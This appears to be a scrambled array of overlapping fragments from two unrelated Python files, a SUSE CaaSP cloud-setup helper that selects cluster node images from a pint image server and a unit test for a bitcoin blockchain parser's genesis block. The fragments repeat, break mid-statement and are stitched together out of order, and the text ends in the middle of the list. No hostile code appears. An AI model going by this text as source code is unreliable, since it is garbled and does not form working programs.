"image_data['name'] = cluster_image if framework == 'microsoft' and cluster_image.count(':') ==",
"= cluster_image msg = 'Using cluster image from configuration. '",
"from os-release\"\"\" os_release = open('/etc/os-release', 'r').readlines() for entry in os_release:",
"version) return version def get_cloud_config_path(): \"\"\"Return the path for the",
"get all # images and then process accordingly. try: image_info",
"'See /var/log/caasp_cloud_setup.log' if not target_image: logging.error('Could not determine image identifier",
"== 3: image_data['urn'] = cluster_image msg = 'Using cluster image",
"# Image name with no date stamp skip it continue",
"except Exception as e: logging.error('Pint server access failed: \"%s\"' %",
"# The data returned in this code path has built",
"return version def get_cloud_config_path(): \"\"\"Return the path for the cloud",
"= image.get('name') try: date = int(RELEASE_DATE.match(image_name).group(1)) if date > target_image_date:",
"version def get_cloud_config_path(): \"\"\"Return the path for the cloud configuration",
"a serious data problem # we cannot really recover, the",
"client from the # full pint data image_data = {}",
"e: logging.error('Pint server access failed: \"%s\"' % e.message) # This",
"# This message will bubble up through salt return 'See",
"e.message) # This message will bubble up through salt return",
"cluster node image: \"%s\"' % target_image) return target_image def load_platform_module(platform_name):",
"turns out to be an issue cache the content config_path",
"server access failed: \"%s\"' % e.message) # This message will",
"susepubliccloudinfoclient.infoserverrequests as ifsrequest import yaml import sys RELEASE_DATE = re.compile('^.*-v(\\d{8})-*.*')",
"logging.info('Release version: \"%s\"' % version) return version def get_cloud_config_path(): \"\"\"Return",
"get_from_config(config_option): \"\"\"Get the value for the given config option\"\"\" #",
"up through salt return 'See /var/log/caasp_cloud_setup.log' try: image_data = json.loads(image_info)",
"basis. If this turns out to be an issue cache",
"name_filter ) except Exception as e: logging.error('Pint server access failed:",
"The cluster image we choose depends on the admin node",
"msg += 'Image data for cluster node image: \"%s\"' logging.info(msg",
"sys.exit('pint lookup failed') logging.info('Image data for cluster node image: \"%s\"'",
"as ifsrequest import yaml import sys RELEASE_DATE = re.compile('^.*-v(\\d{8})-*.*') def",
"== 'microsoft' and cluster_image.count(':') == 3: image_data['urn'] = cluster_image msg",
"have a serious data problem # we cannot really recover,",
"framework, None, 'json', region, name_filter ) except Exception as e:",
"re-read the file on an as needed # basis. If",
"issue, exiting.') sys.exit('pint lookup failed') logging.info('Image data for cluster node",
"import susepubliccloudinfoclient.infoserverrequests as ifsrequest import yaml import sys RELEASE_DATE =",
"= int(RELEASE_DATE.match(image_name).group(1)) if date > target_image_date: # If we have",
"recover, the first one wins target_image = image except Exception:",
"def load_platform_module(platform_name): mod = __import__('caaspadminsetup.%s' % platform_name, fromlist=['']) return mod",
"get_from_config('cluster_image') if cluster_image: # The data returned in this code",
"code path has built in knowledge # about the information",
"= None target_image_date = 0 for image in available_images: image_name",
"always have '\"' as # version delimiters version = version_id.strip('\"\\'')",
"value for the given config option\"\"\" # Expected low usage",
"settings.get(config_option) def get_cluster_image_identifier(framework, region): \"\"\"Return the identifier for the latest",
"returned in this code path has built in knowledge #",
"' msg += 'Image data for cluster node image: \"%s\"'",
"lookup failed') logging.info('Image data for cluster node image: \"%s\"' %",
"has built in knowledge # about the information consumed by",
"# version delimiters version = version_id.strip('\"\\'') logging.info('Release version: \"%s\"' %",
"image identifier for cluster node.') logging.error('This implies that the pint",
"== 'byos': name_filter += ',name~byos' else: name_filter += ',name!byos' version",
"version_id = entry.split('=')[-1].strip() # We assume that os-release will always",
"skip it continue except Exception as e: logging.error('Could not load",
"serious data problem # we cannot really recover, the first",
"name_filter += ',name~' + version.replace('.', '-') # The cluster image",
"as config_file: config = yaml.load(config_file.read()) settings = config.get('cloud') if not",
"image except Exception: # Image name with no date stamp",
") except Exception as e: logging.error('Pint server access failed: \"%s\"'",
"os_release: if entry.startswith('VERSION_ID'): version_id = entry.split('=')[-1].strip() # We assume that",
"',name~' + version.replace('.', '-') # The cluster image we choose",
"as e: logging.error('Could not load json data from pint: \"%s\"'",
"the issue, exiting.') sys.exit('pint lookup failed') logging.info('Image data for cluster",
"from the # full pint data image_data = {} image_data['id']",
"for the latest cluster node image\"\"\" cluster_image = get_from_config('cluster_image') if",
"our filter criteria we have a serious data problem #",
"\"%s\"' % e.message) # This message will bubble up through",
"image: \"%s\"' logging.info(msg % image_data) return image_data name_filter = 'name~caasp,name~cluster'",
"latest cluster node image\"\"\" cluster_image = get_from_config('cluster_image') if cluster_image: #",
"the information consumed by the client from the # full",
"target_image = image except Exception: # Image name with no",
"cluster node image: \"%s\"' logging.info(msg % image_data) return image_data name_filter",
"# we cannot really recover, the first one wins target_image",
"not target_image: logging.error('Could not determine image identifier for cluster node.')",
"for the given config option\"\"\" # Expected low usage of",
"the ' 'data is incomplete, please report the issue, exiting.')",
"date = int(RELEASE_DATE.match(image_name).group(1)) if date > target_image_date: # If we",
"report the issue, exiting.') sys.exit('pint lookup failed') logging.info('Image data for",
"image_data name_filter = 'name~caasp,name~cluster' flavor = get_from_config('procurement_flavor') if flavor ==",
"% version) return version def get_cloud_config_path(): \"\"\"Return the path for",
"query for active images. We need to get all #",
"file\"\"\" return '/etc/salt/pillar/cloud.sls' def get_from_config(config_option): \"\"\"Get the value for the",
"exiting.') sys.exit('pint lookup failed') logging.info('Image data for cluster node image:",
"'json', region, name_filter ) except Exception as e: logging.error('Pint server",
"/var/log/caasp_cloud_setup.log' try: image_data = json.loads(image_info) available_images = image_data.get('images', []) target_image",
"cluster image from configuration. ' msg += 'Image data for",
"import logging import re import susepubliccloudinfoclient.infoserverrequests as ifsrequest import yaml",
"as e: logging.error('Pint server access failed: \"%s\"' % e.message) #",
"cannot just query for active images. We need to get",
"option\"\"\" # Expected low usage of this method, re-read the",
"multiple images with the same date that # match our",
"get_cloud_config_path() with open(config_path) as config_file: config = yaml.load(config_file.read()) settings =",
"information consumed by the client from the # full pint",
"else: name_filter += ',name!byos' version = get_caasp_release_version() name_filter += ',name~'",
"def get_cluster_image_identifier(framework, region): \"\"\"Return the identifier for the latest cluster",
"msg = 'Using cluster image from configuration. ' msg +=",
"name_filter += ',name!byos' version = get_caasp_release_version() name_filter += ',name~' +",
"\"\"\"Return the identifier for the latest cluster node image\"\"\" cluster_image",
"None, 'json', region, name_filter ) except Exception as e: logging.error('Pint",
"for cluster node image: \"%s\"' logging.info(msg % image_data) return image_data",
"\"\"\"Get the value for the given config option\"\"\" # Expected",
"problem # we cannot really recover, the first one wins",
"If we have multiple images with the same date that",
"region): \"\"\"Return the identifier for the latest cluster node image\"\"\"",
"in os_release: if entry.startswith('VERSION_ID'): version_id = entry.split('=')[-1].strip() # We assume",
"issue cache the content config_path = get_cloud_config_path() with open(config_path) as",
"# If we have multiple images with the same date",
"same date that # match our filter criteria we have",
"filter criteria we have a serious data problem # we",
"target_image def load_platform_module(platform_name): mod = __import__('caaspadminsetup.%s' % platform_name, fromlist=['']) return",
"<gh_stars>1-10 import json import logging import re import susepubliccloudinfoclient.infoserverrequests as",
"\"\"\"Return the version from os-release\"\"\" os_release = open('/etc/os-release', 'r').readlines() for",
"os-release\"\"\" os_release = open('/etc/os-release', 'r').readlines() for entry in os_release: if",
"# images and then process accordingly. try: image_info = ifsrequest.get_image_data(",
"in this code path has built in knowledge # about",
"sys RELEASE_DATE = re.compile('^.*-v(\\d{8})-*.*') def get_caasp_release_version(): \"\"\"Return the version from",
"import sys RELEASE_DATE = re.compile('^.*-v(\\d{8})-*.*') def get_caasp_release_version(): \"\"\"Return the version",
"it continue except Exception as e: logging.error('Could not load json",
"message will bubble up through salt return 'See /var/log/caasp_cloud_setup.log' if",
"cluster image we choose depends on the admin node version,",
"the first one wins target_image = image except Exception: #",
"flavor = get_from_config('procurement_flavor') if flavor == 'byos': name_filter += ',name~byos'",
"wins target_image = image except Exception: # Image name with",
"as needed # basis. If this turns out to be",
"please report the issue, exiting.') sys.exit('pint lookup failed') logging.info('Image data",
"first one wins target_image = image except Exception: # Image",
"cluster_image msg = 'Using cluster image from configuration. ' msg",
"identifier for cluster node.') logging.error('This implies that the pint server",
"for cluster node image: \"%s\"' % target_image) return target_image def",
"ifsrequest.get_image_data( framework, None, 'json', region, name_filter ) except Exception as",
"= entry.split('=')[-1].strip() # We assume that os-release will always have",
"the content config_path = get_cloud_config_path() with open(config_path) as config_file: config",
"return return settings.get(config_option) def get_cluster_image_identifier(framework, region): \"\"\"Return the identifier for",
"flavor == 'byos': name_filter += ',name~byos' else: name_filter += ',name!byos'",
"import yaml import sys RELEASE_DATE = re.compile('^.*-v(\\d{8})-*.*') def get_caasp_release_version(): \"\"\"Return",
"= get_caasp_release_version() name_filter += ',name~' + version.replace('.', '-') # The",
"the given config option\"\"\" # Expected low usage of this",
"image: \"%s\"' % target_image) return target_image def load_platform_module(platform_name): mod =",
"server is unreachable or the ' 'data is incomplete, please",
"one wins target_image = image except Exception: # Image name",
"out to be an issue cache the content config_path =",
"'Using cluster image from configuration. ' msg += 'Image data",
"assume that os-release will always have '\"' as # version",
"config = yaml.load(config_file.read()) settings = config.get('cloud') if not settings: return",
"salt return 'See /var/log/caasp_cloud_setup.log' try: image_data = json.loads(image_info) available_images =",
"knowledge # about the information consumed by the client from",
"the file on an as needed # basis. If this",
"load json data from pint: \"%s\"' % e.message) # This",
"return settings.get(config_option) def get_cluster_image_identifier(framework, region): \"\"\"Return the identifier for the",
"get_cluster_image_identifier(framework, region): \"\"\"Return the identifier for the latest cluster node",
"this method, re-read the file on an as needed #",
"[]) target_image = None target_image_date = 0 for image in",
"= yaml.load(config_file.read()) settings = config.get('cloud') if not settings: return return",
"+= ',name!byos' version = get_caasp_release_version() name_filter += ',name~' + version.replace('.',",
"+= 'Image data for cluster node image: \"%s\"' logging.info(msg %",
"built in knowledge # about the information consumed by the",
"% target_image) return target_image def load_platform_module(platform_name): mod = __import__('caaspadminsetup.%s' %",
"access failed: \"%s\"' % e.message) # This message will bubble",
"active images. We need to get all # images and",
"will bubble up through salt return 'See /var/log/caasp_cloud_setup.log' if not",
"we cannot really recover, the first one wins target_image =",
"low usage of this method, re-read the file on an",
"version_id.strip('\"\\'') logging.info('Release version: \"%s\"' % version) return version def get_cloud_config_path():",
"Exception as e: logging.error('Could not load json data from pint:",
"the client from the # full pint data image_data =",
"the path for the cloud configuration file\"\"\" return '/etc/salt/pillar/cloud.sls' def",
"Expected low usage of this method, re-read the file on",
"if not target_image: logging.error('Could not determine image identifier for cluster",
"that os-release will always have '\"' as # version delimiters",
"all # images and then process accordingly. try: image_info =",
"'byos': name_filter += ',name~byos' else: name_filter += ',name!byos' version =",
"return target_image def load_platform_module(platform_name): mod = __import__('caaspadminsetup.%s' % platform_name, fromlist=[''])",
"be an issue cache the content config_path = get_cloud_config_path() with",
"import json import logging import re import susepubliccloudinfoclient.infoserverrequests as ifsrequest",
"configuration file\"\"\" return '/etc/salt/pillar/cloud.sls' def get_from_config(config_option): \"\"\"Get the value for",
"identifier for the latest cluster node image\"\"\" cluster_image = get_from_config('cluster_image')",
"cluster_image.count(':') == 3: image_data['urn'] = cluster_image msg = 'Using cluster",
"we cannot just query for active images. We need to",
"on the admin node version, # thus we cannot just",
"pint server is unreachable or the ' 'data is incomplete,",
"get_from_config('procurement_flavor') if flavor == 'byos': name_filter += ',name~byos' else: name_filter",
"image in available_images: image_name = image.get('name') try: date = int(RELEASE_DATE.match(image_name).group(1))",
"\"%s\"' % target_image) return target_image def load_platform_module(platform_name): mod = __import__('caaspadminsetup.%s'",
"method, re-read the file on an as needed # basis.",
"we choose depends on the admin node version, # thus",
"salt return 'See /var/log/caasp_cloud_setup.log' if not target_image: logging.error('Could not determine",
"version from os-release\"\"\" os_release = open('/etc/os-release', 'r').readlines() for entry in",
"is unreachable or the ' 'data is incomplete, please report",
"target_image) return target_image def load_platform_module(platform_name): mod = __import__('caaspadminsetup.%s' % platform_name,",
"node version, # thus we cannot just query for active",
"if framework == 'microsoft' and cluster_image.count(':') == 3: image_data['urn'] =",
"to be an issue cache the content config_path = get_cloud_config_path()",
"pint: \"%s\"' % e.message) # This message will bubble up",
"bubble up through salt return 'See /var/log/caasp_cloud_setup.log' if not target_image:",
"by the client from the # full pint data image_data",
"path for the cloud configuration file\"\"\" return '/etc/salt/pillar/cloud.sls' def get_from_config(config_option):",
"cluster_image: # The data returned in this code path has",
"entry in os_release: if entry.startswith('VERSION_ID'): version_id = entry.split('=')[-1].strip() # We",
"is incomplete, please report the issue, exiting.') sys.exit('pint lookup failed')",
"choose depends on the admin node version, # thus we",
"0 for image in available_images: image_name = image.get('name') try: date",
"in knowledge # about the information consumed by the client",
"# basis. If this turns out to be an issue",
"get_caasp_release_version() name_filter += ',name~' + version.replace('.', '-') # The cluster",
"'r').readlines() for entry in os_release: if entry.startswith('VERSION_ID'): version_id = entry.split('=')[-1].strip()",
"RELEASE_DATE = re.compile('^.*-v(\\d{8})-*.*') def get_caasp_release_version(): \"\"\"Return the version from os-release\"\"\"",
"# We assume that os-release will always have '\"' as",
"except Exception as e: logging.error('Could not load json data from",
"path has built in knowledge # about the information consumed",
"file on an as needed # basis. If this turns",
"config.get('cloud') if not settings: return return settings.get(config_option) def get_cluster_image_identifier(framework, region):",
"+= ',name~byos' else: name_filter += ',name!byos' version = get_caasp_release_version() name_filter",
"have multiple images with the same date that # match",
"an as needed # basis. If this turns out to",
"name_filter = 'name~caasp,name~cluster' flavor = get_from_config('procurement_flavor') if flavor == 'byos':",
"determine image identifier for cluster node.') logging.error('This implies that the",
"config option\"\"\" # Expected low usage of this method, re-read",
"= open('/etc/os-release', 'r').readlines() for entry in os_release: if entry.startswith('VERSION_ID'): version_id",
"an issue cache the content config_path = get_cloud_config_path() with open(config_path)",
"the same date that # match our filter criteria we",
"settings: return return settings.get(config_option) def get_cluster_image_identifier(framework, region): \"\"\"Return the identifier",
"needed # basis. If this turns out to be an",
"for the cloud configuration file\"\"\" return '/etc/salt/pillar/cloud.sls' def get_from_config(config_option): \"\"\"Get",
"images with the same date that # match our filter",
"in available_images: image_name = image.get('name') try: date = int(RELEASE_DATE.match(image_name).group(1)) if"
] |
[
"to the terms contained # in the LICENSE file. import",
"tx.size) self.assertEqual(0, tx.locktime) self.assertEqual(0xffffffff, tx.inputs[0].transaction_index) self.assertEqual(0xffffffff, tx.inputs[0].sequence_number) self.assertTrue(\"ffff001d\" in tx.inputs[0].script.value)",
"* 64, block.header.previous_block_hash) for tx in block.transactions: self.assertEqual(1, tx.version) tx_hash",
"self.assertEqual(datetime.utcfromtimestamp(1231006505), block.header.timestamp) self.assertEqual(\"0\" * 64, block.header.previous_block_hash) for tx in block.transactions:",
"propagated, or distributed except according to the terms contained #",
"import Block class TestBlock(unittest.TestCase): def test_from_hex(self): block_hex = read_test_data(\"genesis_block.txt\") block",
"# This file is part of bitcoin-blockchain-parser. # # It",
"block.n_transactions) block_hash = \"000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1\" \\ \"b60a8ce26f\" self.assertEqual(block_hash, block.hash) self.assertEqual(486604799, block.header.bits)",
"contained # in the LICENSE file. import unittest from datetime",
"self.assertEqual(1, block.header.difficulty) self.assertEqual(285, block.size) self.assertEqual(datetime.utcfromtimestamp(1231006505), block.header.timestamp) self.assertEqual(\"0\" * 64, block.header.previous_block_hash)",
"Block class TestBlock(unittest.TestCase): def test_from_hex(self): block_hex = read_test_data(\"genesis_block.txt\") block =",
"the top-level # directory of this distribution. # # No",
"datetime import datetime from .utils import read_test_data from blockchain_parser.block import",
"\"4a5e1e4baab89f3a32518a88c31bc87f618f76673e2cc77ab2127\" \\ \"b7afdeda33b\" self.assertEqual(merkle_root, block.header.merkle_root) self.assertEqual(2083236893, block.header.nonce) self.assertEqual(1, block.header.version) self.assertEqual(1,",
"tx in block.transactions: self.assertEqual(1, tx.version) tx_hash = \"4a5e1e4baab89f3a32518a88c31bc87f618f76673e2cc77ab2127\" \\ \"b7afdeda33b\"",
"<filename>tools/Bitcoin Parser/blockchain_parser/tests/test_block.py # Copyright (C) 2015-2016 The bitcoin-blockchain-parser developers #",
"top-level # directory of this distribution. # # No part",
".utils import read_test_data from blockchain_parser.block import Block class TestBlock(unittest.TestCase): def",
"read_test_data(\"genesis_block.txt\") block = Block.from_hex(block_hex) self.assertEqual(1, block.n_transactions) block_hash = \"000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1\" \\",
"self.assertEqual(0xffffffff, tx.inputs[0].transaction_index) self.assertEqual(0xffffffff, tx.inputs[0].sequence_number) self.assertTrue(\"ffff001d\" in tx.inputs[0].script.value) self.assertEqual(\"0\" * 64,",
"the LICENSE file found in the top-level # directory of",
"self.assertEqual(204, tx.size) self.assertEqual(0, tx.locktime) self.assertEqual(0xffffffff, tx.inputs[0].transaction_index) self.assertEqual(0xffffffff, tx.inputs[0].sequence_number) self.assertTrue(\"ffff001d\" in",
"the terms contained # in the LICENSE file. import unittest",
"self.assertEqual(0, tx.locktime) self.assertEqual(0xffffffff, tx.inputs[0].transaction_index) self.assertEqual(0xffffffff, tx.inputs[0].sequence_number) self.assertTrue(\"ffff001d\" in tx.inputs[0].script.value) self.assertEqual(\"0\"",
"this file, may be copied, # modified, propagated, or distributed",
"bitcoin-blockchain-parser developers # # This file is part of bitcoin-blockchain-parser.",
"\\ \"b7afdeda33b\" self.assertEqual(tx_hash, tx.hash) self.assertEqual(204, tx.size) self.assertEqual(0, tx.locktime) self.assertEqual(0xffffffff, tx.inputs[0].transaction_index)",
"block.hash) self.assertEqual(486604799, block.header.bits) merkle_root = \"4a5e1e4baab89f3a32518a88c31bc87f618f76673e2cc77ab2127\" \\ \"b7afdeda33b\" self.assertEqual(merkle_root, block.header.merkle_root)",
"directory of this distribution. # # No part of bitcoin-blockchain-parser,",
"tx.locktime) self.assertEqual(0xffffffff, tx.inputs[0].transaction_index) self.assertEqual(0xffffffff, tx.inputs[0].sequence_number) self.assertTrue(\"ffff001d\" in tx.inputs[0].script.value) self.assertEqual(\"0\" *",
"unittest from datetime import datetime from .utils import read_test_data from",
"bitcoin-blockchain-parser. # # It is subject to the license terms",
"in the LICENSE file. import unittest from datetime import datetime",
"block.header.difficulty) self.assertEqual(285, block.size) self.assertEqual(datetime.utcfromtimestamp(1231006505), block.header.timestamp) self.assertEqual(\"0\" * 64, block.header.previous_block_hash) for",
"part of bitcoin-blockchain-parser. # # It is subject to the",
"self.assertEqual(1, block.n_transactions) block_hash = \"000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1\" \\ \"b60a8ce26f\" self.assertEqual(block_hash, block.hash) self.assertEqual(486604799,",
"block.transactions: self.assertEqual(1, tx.version) tx_hash = \"4a5e1e4baab89f3a32518a88c31bc87f618f76673e2cc77ab2127\" \\ \"b7afdeda33b\" self.assertEqual(tx_hash, tx.hash)",
"test_from_hex(self): block_hex = read_test_data(\"genesis_block.txt\") block = Block.from_hex(block_hex) self.assertEqual(1, block.n_transactions) block_hash",
"terms in the LICENSE file found in the top-level #",
"# in the LICENSE file. import unittest from datetime import",
"\"b7afdeda33b\" self.assertEqual(merkle_root, block.header.merkle_root) self.assertEqual(2083236893, block.header.nonce) self.assertEqual(1, block.header.version) self.assertEqual(1, block.header.difficulty) self.assertEqual(285,",
"self.assertEqual(486604799, block.header.bits) merkle_root = \"4a5e1e4baab89f3a32518a88c31bc87f618f76673e2cc77ab2127\" \\ \"b7afdeda33b\" self.assertEqual(merkle_root, block.header.merkle_root) self.assertEqual(2083236893,",
"# It is subject to the license terms in the",
"of bitcoin-blockchain-parser. # # It is subject to the license",
"block_hash = \"000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1\" \\ \"b60a8ce26f\" self.assertEqual(block_hash, block.hash) self.assertEqual(486604799, block.header.bits) merkle_root",
"No part of bitcoin-blockchain-parser, including this file, may be copied,",
"64, block.header.previous_block_hash) for tx in block.transactions: self.assertEqual(1, tx.version) tx_hash =",
"= \"000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1\" \\ \"b60a8ce26f\" self.assertEqual(block_hash, block.hash) self.assertEqual(486604799, block.header.bits) merkle_root =",
"block.header.version) self.assertEqual(1, block.header.difficulty) self.assertEqual(285, block.size) self.assertEqual(datetime.utcfromtimestamp(1231006505), block.header.timestamp) self.assertEqual(\"0\" * 64,",
"to the license terms in the LICENSE file found in",
"= read_test_data(\"genesis_block.txt\") block = Block.from_hex(block_hex) self.assertEqual(1, block.n_transactions) block_hash = \"000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1\"",
"subject to the license terms in the LICENSE file found",
"\\ \"b60a8ce26f\" self.assertEqual(block_hash, block.hash) self.assertEqual(486604799, block.header.bits) merkle_root = \"4a5e1e4baab89f3a32518a88c31bc87f618f76673e2cc77ab2127\" \\",
"block.header.nonce) self.assertEqual(1, block.header.version) self.assertEqual(1, block.header.difficulty) self.assertEqual(285, block.size) self.assertEqual(datetime.utcfromtimestamp(1231006505), block.header.timestamp) self.assertEqual(\"0\"",
"def test_from_hex(self): block_hex = read_test_data(\"genesis_block.txt\") block = Block.from_hex(block_hex) self.assertEqual(1, block.n_transactions)",
"\"000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1\" \\ \"b60a8ce26f\" self.assertEqual(block_hash, block.hash) self.assertEqual(486604799, block.header.bits) merkle_root = \"4a5e1e4baab89f3a32518a88c31bc87f618f76673e2cc77ab2127\"",
"block = Block.from_hex(block_hex) self.assertEqual(1, block.n_transactions) block_hash = \"000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1\" \\ \"b60a8ce26f\"",
"# # No part of bitcoin-blockchain-parser, including this file, may",
"self.assertEqual(285, block.size) self.assertEqual(datetime.utcfromtimestamp(1231006505), block.header.timestamp) self.assertEqual(\"0\" * 64, block.header.previous_block_hash) for tx",
"# No part of bitcoin-blockchain-parser, including this file, may be",
"block.header.timestamp) self.assertEqual(\"0\" * 64, block.header.previous_block_hash) for tx in block.transactions: self.assertEqual(1,",
"self.assertEqual(1, block.header.version) self.assertEqual(1, block.header.difficulty) self.assertEqual(285, block.size) self.assertEqual(datetime.utcfromtimestamp(1231006505), block.header.timestamp) self.assertEqual(\"0\" *",
"(C) 2015-2016 The bitcoin-blockchain-parser developers # # This file is",
"Parser/blockchain_parser/tests/test_block.py # Copyright (C) 2015-2016 The bitcoin-blockchain-parser developers # #",
"self.assertEqual(merkle_root, block.header.merkle_root) self.assertEqual(2083236893, block.header.nonce) self.assertEqual(1, block.header.version) self.assertEqual(1, block.header.difficulty) self.assertEqual(285, block.size)",
"file found in the top-level # directory of this distribution.",
"including this file, may be copied, # modified, propagated, or",
"It is subject to the license terms in the LICENSE",
"= \"4a5e1e4baab89f3a32518a88c31bc87f618f76673e2cc77ab2127\" \\ \"b7afdeda33b\" self.assertEqual(merkle_root, block.header.merkle_root) self.assertEqual(2083236893, block.header.nonce) self.assertEqual(1, block.header.version)",
"file, may be copied, # modified, propagated, or distributed except",
"in the top-level # directory of this distribution. # #",
"# # It is subject to the license terms in",
"block.size) self.assertEqual(datetime.utcfromtimestamp(1231006505), block.header.timestamp) self.assertEqual(\"0\" * 64, block.header.previous_block_hash) for tx in",
"this distribution. # # No part of bitcoin-blockchain-parser, including this",
"be copied, # modified, propagated, or distributed except according to",
"self.assertEqual(tx_hash, tx.hash) self.assertEqual(204, tx.size) self.assertEqual(0, tx.locktime) self.assertEqual(0xffffffff, tx.inputs[0].transaction_index) self.assertEqual(0xffffffff, tx.inputs[0].sequence_number)",
"TestBlock(unittest.TestCase): def test_from_hex(self): block_hex = read_test_data(\"genesis_block.txt\") block = Block.from_hex(block_hex) self.assertEqual(1,",
"Block.from_hex(block_hex) self.assertEqual(1, block.n_transactions) block_hash = \"000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1\" \\ \"b60a8ce26f\" self.assertEqual(block_hash, block.hash)",
"of this distribution. # # No part of bitcoin-blockchain-parser, including",
"\\ \"b7afdeda33b\" self.assertEqual(merkle_root, block.header.merkle_root) self.assertEqual(2083236893, block.header.nonce) self.assertEqual(1, block.header.version) self.assertEqual(1, block.header.difficulty)",
"block.header.merkle_root) self.assertEqual(2083236893, block.header.nonce) self.assertEqual(1, block.header.version) self.assertEqual(1, block.header.difficulty) self.assertEqual(285, block.size) self.assertEqual(datetime.utcfromtimestamp(1231006505),",
"self.assertEqual(block_hash, block.hash) self.assertEqual(486604799, block.header.bits) merkle_root = \"4a5e1e4baab89f3a32518a88c31bc87f618f76673e2cc77ab2127\" \\ \"b7afdeda33b\" self.assertEqual(merkle_root,",
"according to the terms contained # in the LICENSE file.",
"= \"4a5e1e4baab89f3a32518a88c31bc87f618f76673e2cc77ab2127\" \\ \"b7afdeda33b\" self.assertEqual(tx_hash, tx.hash) self.assertEqual(204, tx.size) self.assertEqual(0, tx.locktime)",
"self.assertEqual(\"0\" * 64, block.header.previous_block_hash) for tx in block.transactions: self.assertEqual(1, tx.version)",
"import unittest from datetime import datetime from .utils import read_test_data",
"# Copyright (C) 2015-2016 The bitcoin-blockchain-parser developers # # This",
"or distributed except according to the terms contained # in",
"# # This file is part of bitcoin-blockchain-parser. # #",
"from .utils import read_test_data from blockchain_parser.block import Block class TestBlock(unittest.TestCase):",
"\"4a5e1e4baab89f3a32518a88c31bc87f618f76673e2cc77ab2127\" \\ \"b7afdeda33b\" self.assertEqual(tx_hash, tx.hash) self.assertEqual(204, tx.size) self.assertEqual(0, tx.locktime) self.assertEqual(0xffffffff,",
"part of bitcoin-blockchain-parser, including this file, may be copied, #",
"is subject to the license terms in the LICENSE file",
"is part of bitcoin-blockchain-parser. # # It is subject to",
"merkle_root = \"4a5e1e4baab89f3a32518a88c31bc87f618f76673e2cc77ab2127\" \\ \"b7afdeda33b\" self.assertEqual(merkle_root, block.header.merkle_root) self.assertEqual(2083236893, block.header.nonce) self.assertEqual(1,",
"read_test_data from blockchain_parser.block import Block class TestBlock(unittest.TestCase): def test_from_hex(self): block_hex",
"developers # # This file is part of bitcoin-blockchain-parser. #",
"bitcoin-blockchain-parser, including this file, may be copied, # modified, propagated,",
"LICENSE file. import unittest from datetime import datetime from .utils",
"for tx in block.transactions: self.assertEqual(1, tx.version) tx_hash = \"4a5e1e4baab89f3a32518a88c31bc87f618f76673e2cc77ab2127\" \\",
"modified, propagated, or distributed except according to the terms contained",
"file is part of bitcoin-blockchain-parser. # # It is subject",
"the LICENSE file. import unittest from datetime import datetime from",
"The bitcoin-blockchain-parser developers # # This file is part of",
"self.assertTrue(\"ffff001d\" in tx.inputs[0].script.value) self.assertEqual(\"0\" * 64, tx.inputs[0].transaction_hash) self.assertEqual(50 * 100000000,",
"This file is part of bitcoin-blockchain-parser. # # It is",
"in tx.inputs[0].script.value) self.assertEqual(\"0\" * 64, tx.inputs[0].transaction_hash) self.assertEqual(50 * 100000000, tx.outputs[0].value)",
"# modified, propagated, or distributed except according to the terms",
"# directory of this distribution. # # No part of",
"blockchain_parser.block import Block class TestBlock(unittest.TestCase): def test_from_hex(self): block_hex = read_test_data(\"genesis_block.txt\")",
"found in the top-level # directory of this distribution. #",
"class TestBlock(unittest.TestCase): def test_from_hex(self): block_hex = read_test_data(\"genesis_block.txt\") block = Block.from_hex(block_hex)",
"block.header.previous_block_hash) for tx in block.transactions: self.assertEqual(1, tx.version) tx_hash = \"4a5e1e4baab89f3a32518a88c31bc87f618f76673e2cc77ab2127\"",
"in the LICENSE file found in the top-level # directory",
"import datetime from .utils import read_test_data from blockchain_parser.block import Block",
"\"b60a8ce26f\" self.assertEqual(block_hash, block.hash) self.assertEqual(486604799, block.header.bits) merkle_root = \"4a5e1e4baab89f3a32518a88c31bc87f618f76673e2cc77ab2127\" \\ \"b7afdeda33b\"",
"Copyright (C) 2015-2016 The bitcoin-blockchain-parser developers # # This file",
"datetime from .utils import read_test_data from blockchain_parser.block import Block class",
"= Block.from_hex(block_hex) self.assertEqual(1, block.n_transactions) block_hash = \"000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1\" \\ \"b60a8ce26f\" self.assertEqual(block_hash,",
"except according to the terms contained # in the LICENSE",
"may be copied, # modified, propagated, or distributed except according",
"distributed except according to the terms contained # in the",
"from datetime import datetime from .utils import read_test_data from blockchain_parser.block",
"\"b7afdeda33b\" self.assertEqual(tx_hash, tx.hash) self.assertEqual(204, tx.size) self.assertEqual(0, tx.locktime) self.assertEqual(0xffffffff, tx.inputs[0].transaction_index) self.assertEqual(0xffffffff,",
"self.assertEqual(1, tx.version) tx_hash = \"4a5e1e4baab89f3a32518a88c31bc87f618f76673e2cc77ab2127\" \\ \"b7afdeda33b\" self.assertEqual(tx_hash, tx.hash) self.assertEqual(204,",
"LICENSE file found in the top-level # directory of this",
"the license terms in the LICENSE file found in the",
"block_hex = read_test_data(\"genesis_block.txt\") block = Block.from_hex(block_hex) self.assertEqual(1, block.n_transactions) block_hash =",
"from blockchain_parser.block import Block class TestBlock(unittest.TestCase): def test_from_hex(self): block_hex =",
"copied, # modified, propagated, or distributed except according to the",
"distribution. # # No part of bitcoin-blockchain-parser, including this file,",
"import read_test_data from blockchain_parser.block import Block class TestBlock(unittest.TestCase): def test_from_hex(self):",
"license terms in the LICENSE file found in the top-level",
"terms contained # in the LICENSE file. import unittest from",
"file. import unittest from datetime import datetime from .utils import",
"2015-2016 The bitcoin-blockchain-parser developers # # This file is part",
"tx.inputs[0].sequence_number) self.assertTrue(\"ffff001d\" in tx.inputs[0].script.value) self.assertEqual(\"0\" * 64, tx.inputs[0].transaction_hash) self.assertEqual(50 *",
"tx_hash = \"4a5e1e4baab89f3a32518a88c31bc87f618f76673e2cc77ab2127\" \\ \"b7afdeda33b\" self.assertEqual(tx_hash, tx.hash) self.assertEqual(204, tx.size) self.assertEqual(0,",
